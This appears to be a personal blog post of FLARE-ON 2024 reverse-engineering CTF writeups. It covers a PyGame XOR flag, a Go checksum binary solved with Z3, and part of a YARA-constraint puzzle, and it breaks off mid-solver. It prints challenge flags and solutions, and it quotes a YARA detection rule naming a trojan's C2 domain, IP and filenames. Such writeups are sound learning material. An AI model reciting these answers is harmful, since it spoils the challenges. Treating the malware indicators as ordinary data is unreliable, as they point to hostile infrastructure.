Post

My FLARE-ON 2024 Writeups!

Intro

During the past couple of weeks, I participated in the FLARE-ON reversing CTF. From the FLARE-ON website:

1
The Flare-On Challenge is the FLARE team's annual Capture-the-Flag (CTF) contest. It is a single-player series of Reverse Engineering puzzles that runs for 6 weeks every fall.

This was my first time playing this CTF, and I really enjoyed it! I solved 8/10 challenges from which I learned a lot about both Reverse Engineering and crypto. The challenges were all very high-quality, and I’m looking forward to next year! This post contains my writeups for each of the challenges I solved. Supplementary resources, such as the scripts I used during the CTF can be found in this GitHub repo.

Challenge 1 - frog

We are presented with the following files:

  • A folder named fonts

  • A folder named img

  • A PE executable named game.exe

  • A Python script named frog.py

  • A README Before diving into the challenge, let’s read the README:

1
2
3
4
5
6
7
8
9
This game about a frog is written in PyGame. The source code is provided, as well as a runnable pyinstaller EXE file.

To launch the game run frog.exe on a Windows computer. Otherwise, follow these basic python execution instructions:

1. Install Python 3

2. Install PyGame ("pip install pygame")

3. Run frog: "python frog.py"

Well, we have the source code of the game, so let’s read it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
import pygame

pygame.init()
pygame.font.init()
screen_width = 800
screen_height = 600
tile_size = 40
tiles_width = screen_width // tile_size
tiles_height = screen_height // tile_size
screen = pygame.display.set_mode((screen_width, screen_height))
clock = pygame.time.Clock()
victory_tile = pygame.Vector2(10, 10)

pygame.key.set_repeat(500, 100)
pygame.display.set_caption('Non-Trademarked Yellow Frog Adventure Game: Chapter 0: Prelude')
dt = 0

floorimage = pygame.image.load("img/floor.png")
blockimage = pygame.image.load("img/block.png")
frogimage = pygame.image.load("img/frog.png")
statueimage = pygame.image.load("img/f11_statue.png")
winimage = pygame.image.load("img/win.png")

gamefont = pygame.font.Font("fonts/VT323-Regular.ttf", 24)
text_surface = gamefont.render("instruct: Use arrow keys or wasd to move frog. Get to statue. Win game.",
                               False, pygame.Color('gray'))
flagfont = pygame.font.Font("fonts/VT323-Regular.ttf", 32)
flag_text_surface = flagfont.render("nope@nope.nope", False, pygame.Color('black'))

class Block(pygame.sprite.Sprite):
    def __init__(self, x, y, passable):
        super().__init__()
        self.image = blockimage
        self.rect = self.image.get_rect()
        self.x = x
        self.y = y
        self.passable = passable
        self.rect.top = self.y * tile_size
        self.rect.left = self.x * tile_size

    def draw(self, surface):
        surface.blit(self.image, self.rect)

class Frog(pygame.sprite.Sprite):
    def __init__(self, x, y):
        super().__init__()
        self.image = frogimage
        self.rect = self.image.get_rect()
        self.x = x
        self.y = y
        self.rect.top = self.y * tile_size
        self.rect.left = self.x * tile_size

    def draw(self, surface):
        surface.blit(self.image, self.rect)

    def move(self, dx, dy):
        self.x += dx
        self.y += dy
        self.rect.top = self.y * tile_size
        self.rect.left = self.x * tile_size

blocks = []

player = Frog(0, 1)

def AttemptPlayerMove(dx, dy):
    newx = player.x + dx
    newy = player.y + dy

    # Can only move within screen bounds
    if newx < 0 or newx >= tiles_width or newy < 0 or newy >= tiles_height:
        return False

    # See if it is moving in to a NON-PASSABLE block.  hint hint.
    for block in blocks:
        if newx == block.x and newy == block.y and not block.passable:
            return False

    player.move(dx, dy)
    return True

def GenerateFlagText(x, y):
    key = x + y*20
    encoded = "\xa5\xb7\xbe\xb1\xbd\xbf\xb7\x8d\xa6\xbd\x8d\xe3\xe3\x92\xb4\xbe\xb3\xa0\xb7\xff\xbd\xbc\xfc\xb1\xbd\xbf"
    return ''.join([chr(ord(c) ^ key) for c in encoded])

def main():
    global blocks
    blocks = BuildBlocks()
    victory_mode = False
    running = True
    while running:
        # poll for events
        # pygame.QUIT event means the user clicked X to close your window
        for event in pygame.event.get():
            if event.type == pygame.QUIT:
                running = False
            if event.type == pygame.KEYDOWN:
                if event.key == pygame.K_w or event.key == pygame.K_UP:
                    AttemptPlayerMove(0, -1)
                elif event.key == pygame.K_s or event.key == pygame.K_DOWN:
                    AttemptPlayerMove(0, 1)
                elif event.key == pygame.K_a or event.key == pygame.K_LEFT:
                    AttemptPlayerMove(-1, 0)
                elif event.key == pygame.K_d or event.key == pygame.K_RIGHT:
                    AttemptPlayerMove(1, 0)

        # draw the ground
        for i in range(tiles_width):
            for j in range(tiles_height):
                screen.blit(floorimage, (i*tile_size, j*tile_size))

        # display the instructions
        screen.blit(text_surface, (0, 0))

        # draw the blocks
        for block in blocks:
            block.draw(screen)

        # draw the statue
        screen.blit(statueimage, (240, 240))

        # draw the frog
        player.draw(screen)

        print(player.x)

        if not victory_mode:
            # are they on the victory tile? if so do victory
            if player.x == victory_tile.x and player.y == victory_tile.y:
                victory_mode = True
                flag_text = GenerateFlagText(player.x, player.y)
                flag_text_surface = flagfont.render(flag_text, False, pygame.Color('black'))
                print("%s" % flag_text)
        else:
            screen.blit(winimage, (150, 50))
            screen.blit(flag_text_surface, (239, 320))

        # flip() the display to put your work on screen
        pygame.display.flip()

        # limits FPS to 60
        # dt is delta time in seconds since last frame, used for framerate-
        # independent physics.
        dt = clock.tick(60) / 1000

    pygame.quit()
    return

def BuildBlocks():
    blockset = [
        Block(3, 2, False),
        Block(4, 2, False),
        Block(5, 2, False),
        Block(6, 2, False),
        Block(7, 2, False),
        Block(8, 2, False),
        Block(9, 2, False),
        Block(10, 2, False),
        Block(11, 2, False),
        Block(12, 2, False),
        Block(13, 2, False),
        Block(14, 2, False),
        Block(15, 2, False),
        Block(16, 2, False),
        Block(17, 2, False),
        Block(3, 3, False),
        Block(17, 3, False),
        Block(3, 4, False),
        Block(5, 4, False),
        Block(6, 4, False),
        Block(7, 4, False),
        Block(8, 4, False),
        Block(9, 4, False),
        Block(10, 4, False),
        Block(11, 4, False),
        Block(14, 4, False),
        Block(15, 4, True),
        Block(16, 4, False),
        Block(17, 4, False),
        Block(3, 5, False),
        Block(5, 5, False),
        Block(11, 5, False),
        Block(14, 5, False),
        Block(3, 6, False),
        Block(5, 6, False),
        Block(11, 6, False),
        Block(14, 6, False),
        Block(15, 6, False),
        Block(16, 6, False),
        Block(17, 6, False),
        Block(3, 7, False),
        Block(5, 7, False),
        Block(11, 7, False),
        Block(17, 7, False),
        Block(3, 8, False),
        Block(5, 8, False),
        Block(11, 8, False),
        Block(15, 8, False),
        Block(16, 8, False),
        Block(17, 8, False),
        Block(3, 9, False),
        Block(5, 9, False),
        Block(11, 9, False),
        Block(12, 9, False),
        Block(13, 9, False),
        Block(15, 9, False),
        Block(3, 10, False),
        Block(5, 10, False),
        Block(13, 10, True),
        Block(15, 10, False),
        Block(16, 10, False),
        Block(17, 10, False),
        Block(3, 11, False),
        Block(5, 11, False),
        Block(6, 11, False),
        Block(7, 11, False),
        Block(8, 11, False),
        Block(9, 11, False),
        Block(10, 11, False),
        Block(11, 11, False),
        Block(12, 11, False),
        Block(13, 11, False),
        Block(17, 11, False),
        Block(3, 12, False),
        Block(17, 12, False),
        Block(3, 13, False),
        Block(4, 13, False),
        Block(5, 13, False),
        Block(6, 13, False),
        Block(7, 13, False),
        Block(8, 13, False),
        Block(9, 13, False),
        Block(10, 13, False),
        Block(11, 13, False),
        Block(12, 13, False),
        Block(13, 13, False),
        Block(14, 13, False),
        Block(15, 13, False),
        Block(16, 13, False),
        Block(17, 13, False)
    ]
    return blockset

if __name__ == '__main__':
    main()

Skimming the code, the GenerateFlagText function immediately pops out:

1
2
3
4
def GenerateFlagText(x, y):
    key = x + y*20
    encoded = "\xa5\xb7\xbe\xb1\xbd\xbf\xb7\x8d\xa6\xbd\x8d\xe3\xe3\x92\xb4\xbe\xb3\xa0\xb7\xff\xbd\xbc\xfc\xb1\xbd\xbf"
    return ''.join([chr(ord(c) ^ key) for c in encoded])

It uses its two arguments, x and y, to create a key which is then XORed with every byte of (presumably) the encrypted flag. Let’s see where this function is called:

1
2
3
4
5
6
7
if not victory_mode:
    # are they on the victory tile? if so do victory
    if player.x == victory_tile.x and player.y == victory_tile.y:
        victory_mode = True
        flag_text = GenerateFlagText(player.x, player.y)
        flag_text_surface = flagfont.render(flag_text, False, pygame.Color('black'))
        print("%s" % flag_text)

Hmm… it seems like the x and y coordinates of the player need to equal the coordinates of the victory_tile, and then GenerateFlagText will be called with those coordinates. We could inspect the code more closely, but the player’s coordinates are integral, so it’d be easier to just bruteforce them, which I did with the following script :)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import threading

def GenerateFlagText(x, y):
    key = x + y*20
    encoded = "\xa5\xb7\xbe\xb1\xbd\xbf\xb7\x8d\xa6\xbd\x8d\xe3\xe3\x92\xb4\xbe\xb3\xa0\xb7\xff\xbd\xbc\xfc\xb1\xbd\xbf"
    return ''.join([chr(ord(c) ^ key) for c in encoded])

tasks = []
tasks_lock = threading.Lock()

for x, y in zip(range(100000), range(10000)):
    tasks.append((x, y))

def thread_func():
    while True:
        with tasks_lock:
	        if len(tasks) > 0:
	            x, y = tasks.pop()
	
	            if "flare" in GenerateFlagText(x, y):
	                print(GenerateFlagText(x, y))
	                break
	        else:
		        return

threads = []

for _ in range(100):
    threads.append(threading.Thread(target=thread_func))

for t in threads:
    t.start()

for t in threads:
    t.join()

We first fill a list named tasks with each possible (x, y) pair, where x and y are positive integers. Then, we start 100 threads, each of which pops a pair out of tasks, runs the GenerateFlagText function on it, and prints the output of the function if it contains the string flare (this is because the flags are of the format ...@flare-on.com). Running this script prints:

1
welcome_to_11@flare-on.com

We got our first flag!

Challenge 2 - checksum

Initial Analysis

In this challenge, we are presented with a single ~2.4MB executable named checksum.exe. Let’s try running it:

checksum_first_run.png

Time to analyze the binary. Opening it in Ghidra, we see that the entry point is a function called _rt0_amd64, suggesting that it’s a Golang binary (this also explains the large binary size, due to Golang binaries being statically linked). The binary includes debug symbols, so to find the main function we search for main.main (the main function in the main namespace) in the symbols section of Ghidra. The main function begins by testing our addition skills: it generates a random integer x between 0 and 5, and then asks us to add two integers smaller than 10000 x + 3 times. If we enter the incorrect result, the binary exits. A commented excerpt of the code for this logic is shown below.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// Generate the number of guesses
numGuesses = math/rand/v2::math/rand/v2.(*Rand).uint64n(math/rand/v2.globalRand,5);
// Loop numGuesses + 3 times
while (iVar4 < (int)(numGuesses + 3)) {
    local_190 = iVar4;
	// Generate two random numbers smaller than 10000
    local_158 = math/rand/v2::math/rand/v2.(*Rand).uint64n(math/rand/v2.globalRand,10000);
    local_160 = math/rand/v2::math/rand/v2.(*Rand).uint64n(math/rand/v2.globalRand,10000);
    ...
    // Compute their sum 
    local_168 = local_160 + local_158;
    // Print the question: fmt.Printf("Check sum: %d + %d = ", local_158, local_160)
    format.len = 0x15;
    format.str = &DAT_004ca484;
    fmt::fmt.Fprintf(w,format,a);
    // Read in the answer
    format_00.len = 3;
    format_00.str = &DAT_004c73c1;
    readChecksumErr = fmt::fmt.Fscanf(r,format_00,a_00);
    // If reading the number caused an error, exit using the helper
    errorString.len = 0x15;
    errorString.str = (uint8 *)"Not a valid answer...";
    errorCheckHelper(readChecksumErr.err,errorString);
    // If the result is incorrect, exit
    if (*local_18 != local_168) {
      runtime::runtime.printlock();
      s_00.len = 0xe;
      s_00.str = (uint8 *)"Try again! ;)\n";
      runtime::runtime.printstring(s_00);
      runtime::runtime.printunlock();
      return;
    }
    // Otherwise, print "Good math!!!" and continue onto the next iteration
    runtime::runtime.printlock();
    s.len = 0x2c;
    s.str = (uint8 *)"Good math!!!\n------------------------------\n";
    runtime::runtime.printstring(s);
    runtime::runtime.printunlock();
    iVar4 = local_190 + 1;
  }

The errorCheckHelper function executes the following logic given a Go error and a string:

  1. If the error is nil, do nothing

  2. If the error is not nil, print the string and exit with status 0xdeadbeef The annotated code for errorCheckHelper is shown below. Note that I also removed some irrelevant parts, such as the function asking for more stack space if it doesn’t have enough.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void main::errorCheckHelper(error err,string errorString)
{
  // Compare the error with nil 
  if (err.tab != (runtime.itab *)0x0) {
    // Print the error data
    pvStack_10 = runtime::runtime.convTstring(errorString);
    local_18 = &string___internal/abi.Type;
    w.data = os.Stdout;
    w.tab = &*os.File__implements__io.Writer___runtime.itab;
    a.len = 1;
    a.array = (interface_{} *)&local_18;
    a.cap = 1;
    fmt::fmt.Fprintln(w,a);
    os::os.Exit(0xdeadbeef);
  }
  return;
}

This pattern of calling a fallible function (like Fscanf in the above code) and then calling errorCheckHelper is something we’ll see a lot throughout the binary. Let’s run the binary and answer all the questions correctly and see what happens:

checksum_correct_answers.png

The Checksum

That’s interesting! After completing all the addition exercises, the prompt “Checksum: “ is printed (note the lack of spacing between ‘Check’ and ‘sum’). Let’s see what happens under the hood. First of all, as expected, we can see the Fprint call that prints “Checksum: “ after the loop.

1
2
3
4
5
6
7
psStack_50 = &gostr_Checksum:;
w_00.data = os.Stdout;
w_00.tab = &*os.File__implements__io.Writer___runtime.itab;
a_01.len = 1;
a_01.array = (interface_{} *)&local_58;
a_01.cap = 1;
fmt::fmt.Fprint(w_00,a_01);

You may be wondering about the gostr_Checksum constant; in Golang binaries, all of the strings in the binary are stored contagiously in the .rdata section. When the code uses a string, it does so using a pointer to the corresponding string in this jumble of strings. This is also why if we’d run strings on the binary, we’d see a huge mess of strings instead of just Checksum:. Back to the code, we see a call to Fscanf that reads input using the format string %s\n, followed by a call to the error check helper (I changed the variable names a bit).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
local_68 = &*string___internal/abi.PtrType;
psStack_60 = local_10;
r_00.data = os.Stdin;
r_00.tab = &*os.File__implements__io.Reader___runtime.itab;
checksumAnswerString.len = 1;
checksumAnswerString.array = (interface_{} *)&local_68;
checksumAnswerString.cap = 1;
sVar9.len = 3;
sVar9.str = &DAT_004c73c4;
readChecksumErr = fmt::fmt.Fscanf(r_00,sVar9,checksumAnswerString);
// Error checking
readChecksumErrString.len = 0x1e;
readChecksumErrString.str = (uint8 *)"Fail to read checksum input...";
errorCheckHelper(readChecksumErr.err,readChecksumErrString);

Our input is then decoded into a slice of bytes (stored at local_10):

1
userChecksum = runtime::runtime.stringtoslicebyte(&local_1c8,*local_10);

At this point, the binary does some crypto operations like initializing a ChaCha20 cipher and computing the SHA256 digest of some data. When I first solved the challenge, I didn’t understand what this crypto code did, so I skipped this part. This proved to be good, since if we skip ahead we see the following interesting loop:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
while( true ) {
if (local_188 <= iVar4) {
    sVar9 = runtime::runtime.slicebytetostring((runtime.tmpBuf *)local_1e8,ptr,local_168);
    // local_10 is the bytes of the checksum we entered
    if (sVar9.len == local_10->len) {
    cVar2 = runtime::runtime.memequal(sVar9.str,local_10->str);
	    if (cVar2 == '\0') {
	        bVar3 = false;
	    }
	    else {
	        bVar3 = main.a(*local_10);
	    }
    }
    else {
	    bVar3 = false;
    }
    if (bVar3 == false) {
        local_88 = &string___internal/abi.Type;
        psStack_80 = &gostr_Maybe_it's_time_to_analyze_the_b;
        w_01.data = os.Stdout;
        w_01.tab = &*os.File__implements__io.Writer___runtime.itab;
        a_02.len = 1;
        a_02.array = (interface_{} *)&local_88;
        a_02.cap = 1;
        fmt::fmt.Fprintln(w_01,a_02);
    }
    oVar12 = os::os.UserCacheDir();
    local_170 = oVar12.~r0.len;
    local_a8 = oVar12.~r0;
    errorString_02.len = 0x13;
    errorString_02.str = (uint8 *)"Fail to get path...";
    errorCheckHelper(oVar12.~r1,errorString_02);
    a1.len = 0x16;
    a1.str = (uint8 *)"\\REAL_FLAREON_FLAG.JPG";
    ...
}

The length of the checksum entered by the user is compared to the length of a string named sVar9. If we debug the binary we can see that this length is 32. If the length is correct, the function main.a is ran on the input checksum, and its return value (a boolean) is stored in bVar3. If bVar3 is false, the binary prints “Maybe it’s time to analyze the binary! :)”. Otherwise, the binary gets the user cache directory and initializes a string with the contents \\REAL_FLAREON_FLAG.JPG. Judging from this string, we need to get main.a to output true on our checksum.

How is the checksum verified?

The main.a function gets the input string in rax, and initializes a new slice from it:

new_slice.png

It then iterates over each of the checksum characters and stores the current iteration number in ebx. Inside the loop, the code does some operations (e.g. multiplication by a constant) on the current index i to get a number we’ll call j. The i-th character of the input checksum is stored in edx at the end of this block.

calc_j.png

The pseudocode translation of this is j = i - (((i * 0x5D1745D1745D1746) >> 64) >> 2) * 11. If j is greater than 0xb, the function panics. Otherwise, it stores the value "FlareOn2024"[j] ^ input_checksum[i] in the slice initialized at the start of the function:

stored_in_slice.png

After the loop, the function Base64-encodes the resulting slice. If the length of the encoded string is 0x58, it compares the encoding with the string cQoFRQErX1YAVw1zVQdFUSxfAQNRBXUNAxBSe15QCVRVJ1pQEwd/WFBUAlElCFBFUnlaB1UL ByRdBEFdfVtWVA==. If either the length is not 0x58 or the strings are not equal, the function returns false, and otherwise it returns true The code for this final comparison is shown below.

final_comparison.png

To recap, the function applies some transformation on the input string, and returns true if the base64-encoding of the transformed string is equal to some constant string.

Solving with Z3

To solve this problem, I used a tool I’ve heard about for a while in CTFs but haven’t had the opportunity to try out called Z3, which is an SMT (Satisfiability Modulo Theory) Solver developed by Microsoft. SMT solvers, given a set of constraints over variables, try to find a model (i.e. an assignment for all the variables) so that all the constraints are satisfied. Note that the constraints may also be unsatisfiable (or UNSAT for short): there’s no assignment for the variables that satisfies all of the constraints (for example the two constraints x > 3 and x < 3 are UNSAT). In this case Z3 reports the system as such. Z3 has an excellent Python API, which we demonstrate the usage of by solving some dummy constraints, as shown below.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from z3 import *

# Define a new solver
s = Solver()
# Create integer variables x and y
x = Int('x')
y = Int('y')
# Define constraints
s.add(x + y == 5)
s.add(y < 3)
# Check if satisfiable
# prints "sat"
print(s.check())
# Print the model -- the assignment for each variabler
# prints x = 3, y = 2
print(s.model())

Now let’s use Z3 to solve the challenge! We’ll begin by declaring a variable for each byte in the input checksum.

1
2
s = Solver()  
correct_checksum = [BitVec(f"checksum_{i}", 8) for i in range(64)]

Then, we need to replicate the constraints in main.a, which is of the following form:

1
Base64Encode(transformed_input_checksum) = SomeBase64String

Since Z3 doesn’t support base64 out of the box, we will base64-decode both sides of the above identity to get:

1
transformed_input_checksum = Base64Decode(SomeBase64String)

In Python:

1
2
3
4
5
6
7
8
9
10
11
import base64

TARGET = b"cQoFRQErX1YAVw1zVQdFUSxfAQNRBXUNAxBSe15QCVRVJ1pQEwd/WFBUAlElCFBFUnlaB1ULByRdBEFdfVtWVA=="  
TARGET_DECODED = base64.b64decode(TARGET)

xor_arr = b"FlareOn2024"  
  
for i in range(64):  
    j = i - 11 * (((i * HEX_CONST) >> 64) >> 2)  
  
    s.add(correct_checksum[i] ^ xor_arr[j] == TARGET_DECODED[i])

The for-loop is very similar to the one in main.a. We compute j and then add a constraint that correct_checksum[i] ^ xor_arr[j] (the i-th byte in the transformed checksum) is equal to the i-th byte of the decoded target string. Finally, we check whether the constraint system is satisfiable, and print the model:

1
2
3
4
5
6
7
8
9
10
print(s.check())

model = s.model()  
  
ans = ""  
  
for var in correct_checksum:
    ans += chr(model[var].as_long())

print(ans)

We need to run the as_long method on each variable in the checksum, since by default the variables are treated as bit vectors, and not integers that can be converted into ASCII characters. Running this code prints:

1
2
sat  
7fd7dd1d0e959f74c133c13abb740b9faa61ab06bd0ecd177645e93b1e3825dd

Let’s try the checksum in the program:

checksum_success.png

Awesome! Looking in our cache directory, we see the following JPG:

checksum_flag.png

Second challenge completed! I really enjoyed this challenge! This was my first time reversing a Go binary, and the reversing process is definitely different from reversing C/C++ binaries. The highlight of this challenge for me was using z3 :) I wanted to try it for a long time, and it’s a very interesting and fun tool.

Challenge 3 - aray

Reversing a YARA rule?

In this challenge, we are presented with a YARA file, aray.yara. For the unacquainted, YARA is a language commonly used in Malware Analysis to perform pattern matching on files. In my Analyzing a Trojan Horse post, for example, we defined the following YARA rule to detect the malware analyzed in the post:

1
2
3
4
5
6
7
8
9
10
11
rule phime {
	strings:
	 	$reg_autostart = "PHIME2008"
	 	$dnsapi = "admin$\\system32\\dnsapi.exe"
	 	$msupd = "msupd.exe"
	 	$c2 = "fukyu.jp"
	 	$ip = "126.255.117.59"
	 	$mal_jpg = "Accl3.jpg"
  condition:
	   	$reg_autostart or $dnsapi or $msupd or $c2 or $ip or $mal_jpg
}

The condition in the above rule is triggered if at least of one the strings defined in the strings section is matched. The YARA rule we get in the challenge is a lot longer, and looks as follows:

1
2
3
4
5
6
7
8
9
import "hash"  
  
rule aray  
{  
    meta:  
        description = "Matches on b7dc94ca98aa58dabb5404541c812db2"  
    condition:  
        filesize == 85 and hash.md5(0, filesize) == "b7dc94ca98aa58dabb5404541c812db2" and filesize ^ uint8(11) != 107 and uint8(55) & 128 == 0 and uint8(58) + 25 == 122 and uint8(7) & 128 == 0 and uint8(48) % 12 < 12 and uint8(17) > 31 and uint8(68) > 10 and uint8(56) < 155 and uint32(52) ^ 425706662 == 1495724241 and uint8(0) % 25 < 25 and filesize ^ uint8(75) != 25 and filesize ^ uint8(28) != 12 and uint8(35) < 160 and uint8(3) & 128 == 0 and uint8(56) & 128 == 0 and uint8(28) % 27 < 27 and uint8(4) > 30 and uint8(15) & 128 == 0 and uint8(68) % 19 < 19 and uint8(19) < 151 and filesize ^ uint8(73) != 17 and filesize ^ uint8(31) != 5 and uint8(38) % 24 < 24 and uint8(3) > 21 and uint8(54) & 128 == 0 and filesize ^ uint8(66) != 146 and uint32(17) - 323157430 == 1412131772 and hash.crc32(8, 2) == 0x61089c5c and filesize ^ uint8(77) != 22 and uint8(75) % 24 < 24 and ...
}

The condition in the file is a conjunction of a lot of different sub-conditions. The flag is in the file that the rule matches on. When I first saw the condition, it looked a bit complicated, but on closer inspection we can find some order in the chaos:

  • In YARA, uint8(i) returns the i-th byte of the file on which the rule is run, so conditions like uint8(58) + 25 == 122 define a constraint on specific bytes in the file

  • Similarily, uint16 and uint32 return words and DWORDs at certain offsets in the file, respectively. The constraint uint32(52) ^ 425706662 == 1495724241, for example, means that the DWORD composed of bytes 52, 53, 54, and 55, when XORed with 425706662 equals 1495724241

  • There is also a call to hash.crc32, which, as the name suggests computes a 32-bit CRC (Cyclic Redundancy Check) over some bytes in the file. If we scroll further into the file we also see some conditions like involving the hash.md5 and hash.sha256 functions, which compute hashes over consecutive bytes in the file

    Solving with Z3

    Well, we have a large set of constraints over many variables, so let’s use Z3 again! We’ll start by defining a class named ConditionSolver, whose constructor takes in the condition from aray.yara:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class ConditionSolver:  
        def __init__(self, conjunction: str):  
                conjunction = conjunction.strip()  
                self.conditions = conjunction.split(" and ")  
                # The first condition is that the filesize is 85  
                self.filesize = 85  
                # Since there are bit shifts involved, we represent each character of the flag  
                # with a 32-bit integer, and manually constraint them to be valid 8-bit chars  
                self.flag = [BitVec(f"flag_{i}", 32) for i in range(self.filesize)]  
                self.solver = Solver()  
                # Possible operators  
                self.operators = [">", "<", "==", "!="]  
                # Constraint the characters of the flag  
                for i in range(self.filesize):  
                    self.solver.add(ULE(self.flag[i], 0xff))

We split the conjunction into the individual conditions by splitting on the “and” token, yielding a list of individual conditions. The first condition is filesize == 85, so we manually set self.filesize to 85. Some operations, such as uint32(17) - 323157430 == 1412131772, involve 32-bit numbers, so we define each character of the flag to be a BitVec of 32 bits and manually constrain each BitVec to be less than 0xff (using the ULE, or unsigned less-than constraint), since if the BitVecs are only 8 bits Z3 doesn’t solve them correctly. We then define a method solve that adds each of the sub-conditions in the conjunction to the Z3 solver, solves the resulting system, and prints the result:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
def solve(self):  
       # Add a constraint for each condition  
       for cond in self.conditions:  
            # We replace the filesize with 85 since the first condition tells us to do so  
            cond = cond.replace("filesize", "85")  
            constraint = None  
                 
            if ">" in cond:  
                constraint = self._parse_value(cond)  
                     
                # Change > to unsigned gt  
                before = constraint[:constraint.index(">")]  
                after = constraint[constraint.index(">")+1:]  
                constraint = f"UGT({before}, {after})"  
                     
           elif "<" in cond:  
                constraint = self._parse_value(cond)  
                     
                # Change < to unsigned lt  
                before = constraint[:constraint.index("<")]  
                after = constraint[constraint.index("<")+1:]  
                constraint = f"ULT({before}, {after})"  
           elif "==" in cond:  
                constraint = self._parse_value(cond)  
           elif "!=" in cond:  
                constraint = self._parse_value(cond)  
           else:  
                print(f"Condition {cond} did not match any operator")  
                 
           if constraint is not None:  
                self.solver.add(eval(constraint))  
            # Find a model  
        self.solver.check()  
        model = self.solver.model()  
             
        for var in self.flag:  
            print(chr(model[var].as_long()), end="")

We’ll need to transform the constraints before adding them to the solver - for example, the constraint uint8(7) & 128 == 0 will result in an error, since Z3 doesn’t know what a uint8 is. This is done in 3 steps:

  1. Replacing the string filesize with 85, since the first constraint is filesize == 85

  2. Calling a method _parse_valueon the resulting string

  3. If the operator is > or <, we replace them with UGT (unsigned greater-than) and ULT (unsigned less-than), respectively, since the default operations (< and >) are defined on signed numbers, making Z3 not solve the system correctly

    uint8 and uint32

    Let’s write the _parse_value method. First of all, we’ll need to transform uint8 and uint32:

1
2
3
4
5
6
7
def _parse_value(self, value: str):  
     value = self._replace_uint8(value)  
     value = self._replace_uint32(value)  
             
	...
    
    return value

Replacing uint8(x) is easy - we just need to replace it with the i-th byte in the flag:

1
2
def _replace_uint8(self, value: str):  
    return re.sub(r"uint8\((\d+)\)", r"self.flag[\1]", value)

For example, uint8(55) gets replaced with self.flag[55] (recall that self.flag defines a z3 variable for each character in the flag). Replacing uint32 requires a bit more work:

1
2
3
4
5
6
7
8
9
10
11
def _replace_uint32(self, value: str):  
     # Define a regex pattern to match "uint32(number)"  
     pattern = r"uint32\((\d+)\)"  
  
     # Define the replacement function  
     def replacement(match):  
           number = int(match.group(1))  
           return f"self.flag[{number}] + (self.flag[{number + 1}] << 8) + (self.flag[{number + 2}] << 16) + (self.flag[{number + 3}] << 24)"  
  
     # Use re.sub to replace the pattern with the formatted string  
     return re.sub(pattern, replacement, value)

For example, uint32(55) gets replaced with self.flag[55] + (self.flag[56] << 8) + (self.flag[57] << 16) + (self.flag[58] << 24). This constructs a 32-bit little-endian integer from 4 bytes (if this is unclear, try verifying it on 4 bytes of your choice). I had ChatGPT write these methods for me (with some guidance) and it worked very well!

Hash module functions

Let’s get back to _parse_value. Recall that we also have constraints that use the crc32, md5, and sha256 functions from the hash module. On first glance, this seems like a pretty big problem; hash functions (luckily) can’t just be reversed using Z3. Upon closer inspection, we notice that all constraints that use those functions only use them on a small range of bytes. Consider, for example, the constraint hash.md5(0, 2) == "89484b14b36a8d5329426a3d944d2983". The MD5 digest is computed over only 2 bytes, so, by bruteforce, we can find two bytes x and y such that md5(x || y) = "89484b14b36a8d5329426a3d944d2983", where || is the concatenation operator. We’ll then constraint the two bytes in the corresponding indices over which the digest is computed to be x and y. Let’s get to work:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def _parse_value(self, value: str):  
    value = self._replace_uint8(value)  
    value = self._replace_uint32(value)  
             
    if "hash" in value:  
        # Since the hash constraints are over only 2 characters (e.g. hash.md5(0, 2) == ...), we can just  
        # try all possible combinations  
        if "md5" in value:  
            # hash.md5(offset, 2) == "target"  
            offset = int(value[len("hash.md5("):value.index(",")])  
            target = value[value.index("\"")+1:-1]  
                     
            for first_byte in range(0xff):  
                for second_byte in range(0xff):  
                    if md5(bytes([first_byte, second_byte])).hexdigest() == target:  
                        self.solver.add(self.flag[offset] == first_byte)  
                        self.solver.add(self.flag[offset + 1] == second_byte)  
             
       return value

If the hash.md5 function is called in the constraint, we find the offset on which it is called (this is the number between hash.md5 and the comma), and find the target digest. We then bruteforce all 2-byte combinations, and, once we find a working combinations, we add the constraints. A similar thing works for crc32 and sha256:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
elif "sha256" in value:  
            # hash.sha256(offset, 2) == "target"  
            offset = int(value[len("hash.sha256("):value.index(",")])  
            target = value[value.index("\"")+1:-1]  
             
            for first_byte in range(0xff):  
                for second_byte in range(0xff):  
                    if sha256(bytes([first_byte, second_byte])).hexdigest() == target:  
                        self.solver.add(self.flag[offset] == first_byte)  
                        self.solver.add(self.flag[offset + 1] == second_byte)  
elif "crc32" in value:  
    offset = int(value[len("hash.crc32("):value.index(",")])  
    target = int(value[value.index("==")+3:], 16)  
             
    for first_byte in range(0xff):  
        for second_byte in range(0xff):  
            curr_bytes = bytes([first_byte, second_byte])  
                     
            if crc32(curr_bytes) == target:  
                self.solver.add(self.flag[offset] == first_byte)  
                self.solver.add(self.flag[offset + 1] == second_byte)
return None

